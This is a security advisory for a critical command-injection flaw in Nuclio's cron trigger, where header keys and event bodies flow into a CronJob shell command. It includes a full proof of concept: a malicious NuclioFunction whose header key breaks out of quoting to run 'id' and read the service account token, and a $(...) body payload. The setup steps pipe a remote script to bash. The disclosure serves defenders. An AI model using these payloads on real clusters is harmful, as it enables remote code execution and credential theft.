critical

CVE-2026-52831

Go · github.com/nuclio/nuclio

Summary

Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE

Severity
critical
CVSS
10
EPSS
0.3% (p25)
CWE
CWE-78
Also known as
GHSA-v5px-423j-pf7p
Published
2026-07-08
Updated
2026-07-08

Advisory details

Summary

Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:

Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).


Details

Root Cause

When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.

Path-A — Header key injection (lazy.go:2146-2151)

// lazy.go:2146-2151
headersAsCurlArg := ""
for headerKey := range attributes.Event.Headers {
    headerValue := attributes.Event.GetHeaderString(headerKey)
    headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
        headersAsCurlArg, headerKey, headerValue)
    //                              ↑
    //                   headerKey is user-controlled; no escaping applied
}

headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.

Attack string for headerKey:

X-Inject"; ARBITRARY_COMMAND; echo "

Resulting shell command fragment:

--header "X-Inject"; ARBITRARY_COMMAND; echo ": value"

Path-B — Body command substitution (lazy.go:2173-2192)

// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
    strconv.Quote(eventBody),   // escapes " → \" and \ → \\, but NOT $()
    eventBodyFilePath,
    curlCommand,
    eventBodyCurlArg)

strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.

Attack string for event.body:

$(ARBITRARY_COMMAND)

Resulting shell command:

echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ...

Execution sink (lazy.go:2212)

// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}

The entire concatenated string — including any injected content — is executed by the shell.

Persistence mechanism

The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:

// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.

PoC

Environment Setup

The following steps reproduce the vulnerability in an isolated local environment.

Step 1 — Install prerequisites

# kind (Kubernetes-in-Docker)
curl -Lo /usr/local/bin/kind \
    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind

# Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

Step 2 — Create isolated kind cluster

kind create cluster --name vul-010
kubectl cluster-info --context kind-vul-010

Expected output:

Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 3 — Deploy Nuclio (latest 1.15.27)

helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update

kubectl create namespace nuclio

helm install nuclio nuclio/nuclio \
    --namespace nuclio \
    --kube-context kind-vul-010 \
    --version 0.21.27 \
    --set dashboard.enabled=true \
    --set controller.enabled=true

Wait for the controller to become ready:

kubectl wait --for=condition=Available deployment/nuclio-controller \
    -n nuclio --context kind-vul-010 --timeout=120s

Step 4 — Create a NuclioProject

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
  name: default
  namespace: nuclio
spec:
  description: "default project"
EOF

Step 5 — Prepare a placeholder image for the function deployment

The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:

# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010

# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
kind load docker-image appropriate/curl:latest --name vul-010

Exploitation — Path-A: Header Key Injection

Step 6 — Create a NuclioFunction with malicious header key

The injection payload in the header key is:

X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-rce-visible
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          headers:
            X-Normal: safe-value
            'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
  minReplicas: 1
  maxReplicas: 1
EOF

Step 7 — Trigger the controller to create the CronJob

kubectl patch nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Wait ~10 seconds for the controller to reconcile, then list CronJobs:

kubectl get cronjob -n nuclio --context kind-vul-010

Expected output:

NAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE
nuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0        <none>          12s

Step 8 — Inspect the generated CronJob command (static confirmation)

CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
    | python3 -m json.tool

Actual output from verification:

[
    "/bin/sh",
    "-c",
    "curl --silent  --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.loc

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.